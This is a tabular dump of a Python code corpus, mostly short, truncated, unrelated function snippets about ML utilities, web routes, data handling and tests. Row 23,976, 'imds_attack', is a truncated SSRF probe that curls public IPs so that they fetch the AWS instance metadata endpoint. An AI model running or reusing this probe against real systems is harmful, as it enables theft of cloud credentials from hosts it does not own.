content stringlengths 22 815k | id int64 0 4.91M |
|---|---|
def repackage_hidden(h):
"""
Wraps hidden states in new Variables, to detach them from their history.
"""
if isinstance(h, torch.Tensor):
return h.detach()
else:
return tuple(v.detach() for v in h) | 23,900 |
def stream_raw_sse(mkrequest, *pargs, _last_event_id=None, headers=None, **kwargs):
"""
Streams Server-Sent Events, each event produced as a sequence of
(field, value) pairs.
Does not handle reconnection, etc.
"""
if headers is None:
headers = {}
headers['Accept'] = 'text/event-stre... | 23,901 |
def test_exception_during_cleanup(capfd):
""" Report exceptions during cleanup to stderr """
original_rmtree = shutil.rmtree
delete_paths = []
def make_directory_unremoveable(path, *args, **kwargs):
os.chmod(path, stat.S_IRUSR) # remove x permission so we can't delete directory
delete_... | 23,902 |
def support_acctgroup_acctproject(version):
"""
Whether this Lustre version supports acctgroup and acctproject
"""
if version.lv_name == "es2":
return False
return True | 23,903 |
def print_partitions(dstore: Datastore, datasets: List[str]) -> None:
"""Prints known partition keys and its values for each of the datasets."""
for single_ds in datasets:
parts = dstore.get_datapackage_descriptor(single_ds).get_partitions()
print(f'\nPartitions for {single_ds} ({dstore.get_doi... | 23,904 |
def decodeInventoryEntry_level1(document):
"""
Decodes a basic entry such as: '6 lobster cake' or '6' cakes
@param document : NLP Doc object
:return: Status if decoded correctly (true, false), and Inventory object
"""
count = Inventory(str(document))
for token in document:
if token.p... | 23,905 |
def target_precheck(root_dir, configs_dir, target_name,
info_defaults, required_scripts):
"""
Checks:
1. That the target (subsys or experiment) config includes an 'active' field indicating whether to run it
2. If the target is active, check that all required
scripts are present a... | 23,906 |
def test_thermoml_mole_constraints():
"""A collection of tests to ensure that the Mole fraction constraint is
implemented correctly alongside solvent constraints."""
# Mole fraction
data_set = ThermoMLDataSet.from_file(get_data_filename("test/properties/mole.xml"))
assert data_set is not None
... | 23,907 |
def from_ir_objs(ir_objs: Collection[IrCell]) -> AnnData:
"""\
Convert a collection of :class:`IrCell` objects to an :class:`~anndata.AnnData`.
This is useful for converting arbitrary data formats into
the scirpy :ref:`data-structure`.
{doc_working_model}
Parameters
----------
ir_objs... | 23,908 |
def main(args):
""" transforms the problem file template """
if len(args) < 1:
# print errors to the error stream
eprint("Usage: {0} <amounts-to-sum>".format(os.path.basename(sys.argv[0])))
exit(-1)
# this is a simple example of an input data transformation in Python:
amounts = ... | 23,909 |
def s3_is_mobile_client(request):
"""
Simple UA Test whether client is a mobile device
@todo: parameter description?
"""
env = request.env
if env.http_x_wap_profile or env.http_profile:
return True
if env.http_accept and \
env.http_accept.find("text/vnd.wap.wml") > 0... | 23,910 |
def list_config(args):
"""
febo config
"""
# # add cwd to path
# cwd = os.getcwd()
# sys.path.insert(0, cwd)
# print config
print(config_manager.get_yaml(include_default=True))
if args.save:
config_manager.write_yaml(args.save, include_default=True)
print(f"Saved ... | 23,911 |
def welcome():
"""List all available api routes."""
return (
f"Available Routes:<br/>"
f"/api/v1.0/precipitation<br/>"
f"/api/v1.0/stations<br/>"
f"/api/v1.0/tobs<br/>"
f"/api/v1.0/start<br/>"
f"/api/v1.0/start/end"
) | 23,912 |
def get_cases_from_input_df(input_df: pd.DataFrame) -> List[Case]:
"""
Get the case attributes
:return:
"""
cases: List[Case] = []
for index, row in input_df.iterrows():
# Create a case object from the row values in the input df
cases.append(Case.from_dict(row.to_dict()))
... | 23,913 |
def transfer_J_values(source_net, target_net):
"""
Transfer the values of the interactions from source to target net.
All the interactions corresponding to the `J` values of `source_net`
are checked, and those interactions that are also active in
`target_net` are copied into `target_net`.
"""
... | 23,914 |
def init_STRFNet(sample_batch,
num_classes,
num_kernels=32,
residual_channels=[32, 32],
embedding_dimension=1024,
num_rnn_layers=2,
frame_rate=None, bins_per_octave=None,
time_support=None, frequency_s... | 23,915 |
def test_execute_retry(mocked_get):
"""Test request retry."""
mocked_get.side_effect = Mock(side_effect=[
MagicMock(status_code=500, text=''),
MagicMock(status_code=200, text='{}')
])
response = request.execute(
max_retries=4,
retry_interval=0,
url='blabla',
... | 23,916 |
def normalize_nfc(txt: AnyStr) -> bytes:
"""
Normalize message to NFC and return bytes suitable for protobuf.
This seems to be bitcoin-qt standard of doing things.
"""
str_txt = txt.decode() if isinstance(txt, bytes) else txt
return unicodedata.normalize("NFC", str_txt).encode() | 23,917 |
def synchronized(wrapped: Callable[..., Any]) -> Any:
"""The missing @synchronized decorator
https://git.io/vydTA"""
_lock = threading.RLock()
@functools.wraps(wrapped)
def _wrapper(*args, **kwargs):
with _lock:
return wrapped(*args, **kwargs)
return _wrapper | 23,918 |
def test_remove_instance_from_recuid():
"""remove an istance from an event which is specified via an additional VEVENT
with the same UID (which we call `recuid` here"""
event = Event.fromString(_get_text('event_rrule_recuid'), **EVENT_KWARGS)
assert event.raw.split('\r\n').count('UID:event_rrule_recurre... | 23,919 |
def corrgroups60__decision_tree():
""" Decision Tree
"""
return sklearn.tree.DecisionTreeRegressor(random_state=0) | 23,920 |
def auth_required(*auth_methods):
"""
Decorator that protects enpoints through multiple mechanisms
Example::
@app.route('/dashboard')
@auth_required('token', 'session')
def dashboard():
return 'Dashboard'
:param auth_methods: Specified mechanisms.
"""
login_... | 23,921 |
def _get_default_data_dir_name():
"""
Gets default data directory
"""
return _get_path(DATA_DIR) | 23,922 |
def point_inside_triangle(p, t, tol=None):
"""
Test to see if a point is inside a triangle. The point is first
projected to the plane of the triangle for this test.
:param ndarray p: Point inside triangle.
:param ndarray t: Triangle vertices.
:param float tol: Tolerance for barycentric coordina... | 23,923 |
def test_authorize_query_joined_load(engine, oso, fixture_data):
"""Test a query involving multiple models."""
oso.load_str(
"""allow("user", "read", post: Post) if post.id = 1;
allow("user", "read", user: User) if user.id = 0;
allow("user", "read", user: User) if user.id = 1;
... | 23,924 |
def merge_dfs(x, y):
"""Merge the two dataframes and download a CSV."""
df = pd.merge(x, y, on='Collection_Number', how='outer')
indexed_df = df.set_index(['Collection_Number'])
indexed_df['Access_Notes_Regarding_Storage_Locations'].fillna('No note', inplace=True)
today = datetime.datetime.today().s... | 23,925 |
def consumer(func):
"""A decorator function that takes care of starting a coroutine automatically on call.
See http://www.dabeaz.com/generators/ for more details.
"""
def start(*args, **kwargs):
cr = func(*args, **kwargs)
next(cr)
return cr
return start | 23,926 |
def convert_openfermion_op(openfermion_op, n_qubits=None):
"""convert_openfermion_op
Args:
openfermion_op (:class:`openfermion.ops.QubitOperator`)
n_qubit (:class:`int`):
if None (default), it automatically calculates the number of qubits required to represent the given operator
... | 23,927 |
def ssqueeze(Wx, w, ssq_freqs=None, scales=None, fs=None, t=None, transform='cwt',
squeezing='sum'):
"""Calculates the synchrosqueezed CWT or STFT of `x`. Used internally by
`synsq_cwt` and `synsq_stft_fwd`.
# Arguments:
Wx or Sx: np.ndarray
CWT or STFT of `x`.
w: ... | 23,928 |
def ConvertStringsToColumnHeaders(proposed_headers):
"""Converts a list of strings to column names which spreadsheets accepts.
When setting values in a record, the keys which represent column names must
fit certain rules. They are all lower case, contain no spaces or special
characters. If two columns have the... | 23,929 |
def parse_interactions(filename="train.csv"):
""" Parse the train data and return the interaction matrix alone """
with open(os.path.join(data_path, filename), "r") as f:
# Discard first line
lines = f.readlines()[1:]
num_lines = len(lines)
# Create container
interactio... | 23,930 |
def recommend(uid, data, model, top_n = 100):
"""
Returns the mean and covariance matrix of the demeaned dataset X (e.g. for PCA)
Parameters
----------
uid : int
user id
data : surprise object with data
The entire system, ratings of users (Constructed with reader from surpri... | 23,931 |
def threading_data(data=None, fn=None, thread_count=None, path = None):
"""Process a batch of data by given function by threading.
Usually be used for data augmentation.
Parameters
-----------
data : numpy.array or others
The data to be processed.
thread_count : int
The number ... | 23,932 |
def read_line_from_stream(stream):
"""Read a line filtering out blank lines and comments
"""
for line in stream:
line = line.strip()
if len(line) > 0 and not line.startswith('#'):
yield line | 23,933 |
def cluster_info(arr):
""" number of clusters (nonzero fields separated by 0s) in array
and size of cluster
"""
data = []
k2coord = []
coord2k = np.empty_like(arr).astype(np.int64)
k = -1
new_cluster = True
for i in range(0,len(arr)):
if arr[i] == 0:
new_clu... | 23,934 |
def set_or_none(list_l):
"""Function to avoid list->set transformation to return set={None}."""
if list_l == [None]:
res = None
else:
res = set(list_l)
return res | 23,935 |
def case_mismatch(vm_type, param):
"""Return True if vm_type matches a portion of param in a case
insensitive search, but does not equal that portion;
return False otherwise.
The "portions" of param are delimited by "_".
"""
re_portion = re.compile(
"(^(%(x)s)_)|(_(%(x)s)_)|(_(%(x)s)$)" ... | 23,936 |
def _async_os(cls):
""" Aliases for aiofiles.os"""
return aiofiles.os | 23,937 |
def corruption_function(x: torch.Tensor):
""" Applies the Gsaussian blur to x """
return torchdrift.data.functional.gaussian_blur(x, severity=5) | 23,938 |
def filter_by_filename(conn, im_ids, imported_filename):
"""Filter list of image ids by originalFile name
Sometimes we know the filename of an image that has been imported into
OMERO but not necessarily the image ID. This is frequently the case when
we want to annotate a recently imported image. This f... | 23,939 |
def get_count():
"""
:return: 计数的值
"""
counter = Counters.query.filter(Counters.id == 1).first()
return make_succ_response(0) if counter is None else make_succ_response(counter.count) | 23,940 |
def test_search_cuisine_higher_page(client):
"""Test getting results from a higher page"""
page_number = 1
resp = client.open('/search/by_cuisine', query_string={"q": "british", "page": page_number})
assert resp.status_code == server.HTTP_OK
assert resp.is_json
response_dict = resp.get_json()
... | 23,941 |
def test_crossval_Melanoma():
""" Tests the cross val function that creates the train and test data. """
data = ImportMelanoma()
train_X, test_X = split_data(data)
full_X = impute(train_X)
print(ma.corrcoef(ma.masked_invalid(full_X.flatten()), ma.masked_invalid(test_X.flatten()))) | 23,942 |
def test_parse_results(results):
"""Tests parse_results"""
r = parse_results(results)
assert isinstance(r, list)
for k in ['userEntryCount', 'siteScreenName', 'rank', 'points', 'salaryUsed', '_contestId', 'lineup']:
assert k in random.choice(r) | 23,943 |
def save_result(model, img, result, score_thr=0.3, out_file="res.png"):
"""Save the detection results on the image.
Args:
model (nn.Module): The loaded detector.
img (str or np.ndarray): Image filename or loaded image.
result (tuple[list] or list): The detection result, can be either
... | 23,944 |
def run():
"""Anda creando una matriz números del 0-8 y loego los reorganiza de 3 ern 3"""
A = numpy.arange(9).reshape((3, 3))
"""Aki va a imprimir la matriz A, que tiene valores del 0 al 8, de 3 en 3"""
print(A)
"""Aquí va a impirmir el resultado de nuestra función"""
print(rebenale_primera_ult... | 23,945 |
def perm(x, y=None):
"""Return the number of ways to choose k items from n items without repetition and with order."""
if not isinstance(x, int) or (not isinstance(y, int) and y is not None):
raise ValueError(f"Expected integers. Received [{type(x)}] {x} and [{type(y)}] {y}")
return math.perm(x, y) | 23,946 |
def check_if_need_update(source, year, states, datadir, clobber, verbose):
"""
Do we really need to download the requested data? Only case in which
we don't have to do anything is when the downloaded file already exists
and clobber is False.
"""
paths = paths_for_year(source=source, year=year, s... | 23,947 |
def main(argv, cfg=None):
"""Main method"""
# Replace stdout and stderr with /dev/tty, so we don't mess up with scripts
# that use ssh in case we error out or similar.
if cfg is None:
cfg = {}
try:
sys.stdout = open("/dev/tty", "w")
sys.stderr = open("/dev/tty", "w")
exce... | 23,948 |
def dbenv():
"""
Loads the dbenv for a specific region of code, does not unload afterwards
Only use when it makes it possible to avoid loading the dbenv for certain
code paths
Good Example::
# do this
@click.command()
@click.option('--with-db', is_flag=True)
def pr... | 23,949 |
def ui(candles: np.ndarray, period: int = 14, scalar: float = 100, source_type: str = "close", sequential: bool = False) -> Union[float, np.ndarray]:
"""
Ulcer Index (UI)
:param candles: np.ndarray
:param period: int - default: 14
:param scalar: float - default: 100
:param source_type: str - d... | 23,950 |
def test_bilayer_imported():
""" Sample test, will always pass so long as import statement worked. """
assert "bilayer" in sys.modules | 23,951 |
def _padwithzeros(vector, pad_width, iaxis, kwargs):
"""Pad with zeros"""
vector[: pad_width[0]] = 0
vector[-pad_width[1] :] = 0
return vector | 23,952 |
def fill_from_sparse_coo(t,elems):
"""
:param elems: non-zero elements defined in COO format (tuple(indices),value)
:type elems: list[tuple(tuple(int),value)]
"""
for e in elems:
t[e[0]]=e[1]
return t | 23,953 |
def download_responses(survey_id):
"""Download survey responses."""
if request.method == 'GET':
csv = survey_service.download_responses(survey_id)
return Response(
csv,
mimetype='text/csv',
headers={'Content-disposition': 'attachment; filename=surveydata.csv'}) | 23,954 |
def array_shift(data: Iterable, shift: int) -> Deque:
"""
left(-) or right(+) shift of array
>>> arr = range(10)
>>> array_shift(arr, -3)
deque([3, 4, 5, 6, 7, 8, 9, 0, 1, 2])
>>> array_shift(arr, 3)
deque([7, 8, 9, 0, 1, 2, 3, 4, 5, 6])
"""
from collections import deque
deq = d... | 23,955 |
def convert_to_timetable(trains):
"""
列車データを時刻表データに変換する関数
Args:
trains (list of list of `Section`): 列車データ
Returns:
timetable (list): 時刻表データ
timetable[from_station][to_station][dep_time] = (from_time, to_time)
-> 現在時刻が dep_time の時に from_station から to_station まで直近... | 23,956 |
def parents(level, idx):
"""
Return all the (grand-)parents of the Healpix pixel idx at level (in nested format)
:param level: Resolution level
:param idx: Pixel index
:return: All the parents of the pixel
"""
assert idx < 12 * 2 ** (2 * level)
plpairs = []
for ind in range(level, 0... | 23,957 |
def precise_inst_ht(vert_list, spacing, offset):
"""
Uses a set of Vertical Angle Observations taken to a
levelling staff at regular intervals to determine the
height of the instrument above a reference mark
:param vert_list: List of Vertical (Zenith) Angle Observations (minimum of 3) in Decimal Deg... | 23,958 |
def plot_trades(strategy, benchmark=None):
"""
Plot Trades: benchmark is the equity curve that the trades get plotted on.
If not provided, strategy equity curve is used.
Both arguements are daily balance.
"""
if benchmark is None or strategy is benchmark:
benchmark = strategy
lab... | 23,959 |
def _parse_transform_set(transform_dict, imputer_string, n_images=None):
"""Parse a dictionary read from yaml into a TransformSet object
Parameters
----------
transform_dict : dictionary
The dictionary as read from the yaml config file containing config
key-value pairs
imputer_strin... | 23,960 |
def query_fields_of_study(subscription_key,
ids=None,
levels=None,
fields=['Id', 'DFN', 'FL', 'FP.FId', 'FC.FId'],
# id, display_name, level, parent_ids, children_ids
query_count=1000,
... | 23,961 |
def send_pair(pin: int, b: bool) -> None:
"""Data is encoded as two bits when transmitted:
value 0 = transmitted 01
value 1 = transmitted 10
"""
send_bit(pin, b)
send_bit(pin, not b) | 23,962 |
def initialize_train_test_dataset(dataset):
""" Create train and test dataset by random sampling.
pct: percentage of training
"""
pct = 0.80
if dataset in ['reddit', 'gab']:
dataset_fname = './data/A-Benchmark-Dataset-for-Learning-to-Intervene-in-Online-Hate-Speech-master/' + dataset + '... | 23,963 |
def load_raw_data_xlsx(files):
"""
Load data from an xlsx file
After loading, the date column in the raw data is converted to a UTC datetime
Parameters
----------
files : list
A list of files to read. See the Notes section for more information
Returns
-------
list
... | 23,964 |
def record_result(board):
"""Add a chess game result to the database."""
completion_date = datetime.now().strftime(DATE_FORMAT)
is_draw = 1 if board.result() == '1/2-1/2' else 0
n_moves = board.fullmove_number
if board.turn: # White's turn.
# board.fullmove_number is incremented after every... | 23,965 |
def filter_production_hosts(nr):
"""
Filter the hosts inventory, which match the production
attribute.
:param nr: An initialised Nornir inventory, used for processing.
:return target_hosts: The targeted nornir hosts after being
processed through nornir filtering.
"""
# Execute filter ba... | 23,966 |
def get_lightmap(map_name="random"):
"""
Fetches the right lightmap given command line argument.
"""
assert map_name in ["default", "random"] + list(CONSTANTS.ALL_LIGHTMAPS.keys()), f"Unknown lightmap {map_name}..."
if map_name == "random":
map_name = random.choice(list(CONSTANTS.ALL_LIGHTM... | 23,967 |
def kill_instance(cook_url, instance, assert_response=True, expected_status_code=204):
"""Kill an instance"""
params = {'instance': [instance]}
response = session.delete(f'{cook_url}/rawscheduler', params=params)
if assert_response:
assert expected_status_code == response.status_code, response.t... | 23,968 |
def _get_n_batch_from_dataloader(dataloader: DataLoader) -> int:
"""Get a batch number in dataloader.
Args:
dataloader: torch dataloader
Returns:
A batch number in dataloader
"""
n_data = _get_n_data_from_dataloader(dataloader)
n_batch = dataloader.batch_size if dataloader.batc... | 23,969 |
def test_get_pipeline_id(mock_get_properties, mock_get_details, mock_boto3):
"""Tests getting the pipeline ID from boto3"""
test_pipelines = [{
'pipelineIdList': [{
"name": "Test Pipeline",
"id": "1234"
}, {
"name": "Other",
"id": "5678"
}]... | 23,970 |
def get_hidden() -> list:
"""
Returns places that should NOT be shown in the addressbook
"""
return __hidden_places__ | 23,971 |
def test_draft_patch_cancel_with_invalid_states(client, jwt, app):
"""
TODO: This isn't working finish it!
Setup:
Test:
:param client:
:param jwt:
:param app:
:return:
"""
# Define our data
input_fields = build_test_input_fields()
custom_names = [{
'name': 'BLUE H... | 23,972 |
def wait_for_unit_state(reactor, docker_client, unit_name,
expected_activation_states):
"""
Wait until a unit is in the requested state.
:param IReactorTime reactor: The reactor implementation to use to delay.
:param docker_client: A ``DockerClient`` instance.
:param unicode... | 23,973 |
def get_list_primitives():
"""Get list of primitive words."""
return g_primitives | 23,974 |
def make_graph(edge_list, threshold=0.0, max_connections=10):
"""Return 2 way graph from edge_list based on threshold"""
graph = defaultdict(list)
edge_list.sort(reverse=True, key=lambda x: x[1])
for nodes, weight in edge_list:
a, b = nodes
if weight > threshold:
if len(graph... | 23,975 |
def imds_attack():
"""Function to run attack on instances running IMDSv1"""
os.system("touch credentials.txt")
for ip in public_ip_list:
logging.info("Performing SSRF Probe of {ip}".format(ip=ip))
logging.info("")
os.system("curl http://{ip}/?url=http://169.254.169.254/latest/meta-da... | 23,976 |
def ping(request):
"""Ping view."""
checked = {}
for service in services_to_check:
checked[service.name] = service().check()
if all(item[0] for item in checked.values()):
return HttpResponse(
PINGDOM_TEMPLATE.format(status='OK'),
content_type='text/xml',
... | 23,977 |
def _num_samples(x):
"""Return number of samples in array-like x."""
message = 'Expected sequence or array-like, got %s' % type(x)
if hasattr(x, 'fit') and callable(x.fit):
# Don't get num_samples from an ensembles length!
raise TypeError(message)
if not hasattr(x, '__len__') and not ha... | 23,978 |
def inf_compress_idb(*args):
"""
inf_compress_idb() -> bool
"""
return _ida_ida.inf_compress_idb(*args) | 23,979 |
def tokens_history(corpus_id):
""" History of changes in the corpus
:param corpus_id: ID of the corpus
"""
corpus = Corpus.query.get_or_404(corpus_id)
tokens = corpus.get_history(page=int_or(request.args.get("page"), 1), limit=int_or(request.args.get("limit"), 20))
return render_template_with_n... | 23,980 |
def find_pattern_clumps(
text: str, substring_length: int, window_length: int, minimum_frequency: int
):
"""TODO: [summary]
Returns:
[type]: [description]
"""
patterns = set()
for index in range(len(text) - window_length + 1):
window = text[index : index + window_length]
... | 23,981 |
def Hidden(request):
"""
Hidden Field with a visible friend..
"""
schema = schemaish.Structure()
schema.add('Visible', schemaish.String())
schema.add('Hidden', schemaish.String())
form = formish.Form(schema, 'form')
form['Hidden'].widget = formish.Hidden()
return form | 23,982 |
def train_and_eval(trial: optuna.Trial, study_dir: str, seed: int):
"""
Objective function for the Optuna `Study` to maximize.
.. note::
Optuna expects only the `trial` argument, thus we use `functools.partial` to sneak in custom arguments.
:param trial: Optuna Trial object for hyper-parameter... | 23,983 |
def my_function(my_arg, my_other_arg):
"""A function just for me.
"""
pass | 23,984 |
def random_active_qubits(nqubits, nmin=None, nactive=None):
"""Generates random list of target and control qubits."""
all_qubits = np.arange(nqubits)
np.random.shuffle(all_qubits)
if nactive is None:
nactive = np.random.randint(nmin + 1, nqubits)
return list(all_qubits[:nactive]) | 23,985 |
def main(host: str, username: str, password: str):
"""メイン.
Args:
host: ホスト名又はIPアドレス
username: ユーザ名
password: パスワード
"""
url: str = f"http://{host}/"
rlogintoken: re.Pattern = re.compile(r"creatHiddenInput\(\"Frm_Logintoken\", *\"(\d+)\"\)")
rloginchecktoken: re.Pattern = ... | 23,986 |
def create_label(project_id: int, label_name: str, templates: list, session=konfuzio_session()) -> List[dict]:
"""
Create a Label and associate it with templates.
If no templates are specified, the label is associated with the first default template of the project.
:param project_id: Project ID where ... | 23,987 |
def home():
""" Home page """
return render_template("index.html") | 23,988 |
def test_all():
"""
#### python test.py test_utils
"""
def test_logs():
from utilmy.utils import log,log2, logw, loge, logger_setup
print("testing logs utils........")
logger_setup()
log("simple log ")
log2("debug log")
logw("warning log")
loge(... | 23,989 |
def get_argparser():
"""Argument parser"""
parser = argparse.ArgumentParser(description='Bort pretraining example.')
parser.add_argument('--num_steps', type=int, default=20,
help='Number of optimization steps')
parser.add_argument('--num_eval_steps', type=int,
... | 23,990 |
def get_from_parameterdata_or_dict(params,key,**kwargs):
"""
Get the value corresponding to a key from an object that can be either
a ParameterData or a dictionary.
:param params: a dict or a ParameterData object
:param key: a key
:param default: a default value. If not present, and if key is no... | 23,991 |
def notice(callingObject, noticeString):
"""Prints a formatted notice in the terminal window that includes the name of the source.
callingObject -- the instance object making the call
noticeString -- the message to be printed
For now this function just prints to the terminal, but eventually it... | 23,992 |
def test_simple():
"""
Test that a simple EIGENVAL from AFLOW can parse
ref: http://aflowlib.duke.edu/AFLOWDATA/LIB1_RAW/B_s:GGA:01Apr2000/A2/
"""
lines = """
1 1 1 1
0.6187200E+01 0.2003113E-09 0.2003113E-09 0.2003113E-09 0.5000000E-15
1.000000000000000E-004
CAR
B_s.A2... | 23,993 |
def test_input_type(temp_files, fsdp_config, input_cls):
"""Test FSDP with input being a list or a dict, only single GPU."""
if torch_version() < (1, 7, 0):
# This test runs multiple test cases in a single process. On 1.6.0 it
# throw an error like this:
# RuntimeError: Container is... | 23,994 |
def call_scons(build_options, scons_options):
"""
Format and run a single scons command.
Args:
build_options (dict): build flags with values.
scons_options (str): additional flags to scons.
"""
cmd_line = "scons VERBOSE=" + VERBOSE
for key in build_options:
cmd_line += "... | 23,995 |
def get_heroesplayed_players(matchs_data, team_longname):
"""Returns a dict linking each player to
- the heroes he/she played
- if it was a win (1) or a loss (0)
"""
picks = get_picks(matchs_data, team_longname)
players = get_players(picks)
results = get_results(matchs_data, team_long... | 23,996 |
def autofmt(filename, validfmts, defaultfmt=None):
"""Infer the format of a file from its filename. As a convention all the
format to be forced with prefix followed by a colon (e.g. "fmt:filename").
`validfmts` is a list of acceptable file formats
`defaultfmt` is the format to use if the extension is ... | 23,997 |
def RunPredator():
"""Runs delta testing between 2 different Findit versions."""
argparser = argparse.ArgumentParser(
description='Run Predator on a batch of crashes.')
argparser.add_argument(
'--input-path',
dest='input_path',
default=None,
help='Path to read a list of ``CrashAnaly... | 23,998 |
def get_or_add_dukaan():
""" Add a new business """
if request.method == "POST":
payload = request.json
# payload = change_case(payload, "lower")
business = db.dukaans.find_one({"name": payload["name"]})
if business is not None:
return (
jsonify(
... | 23,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.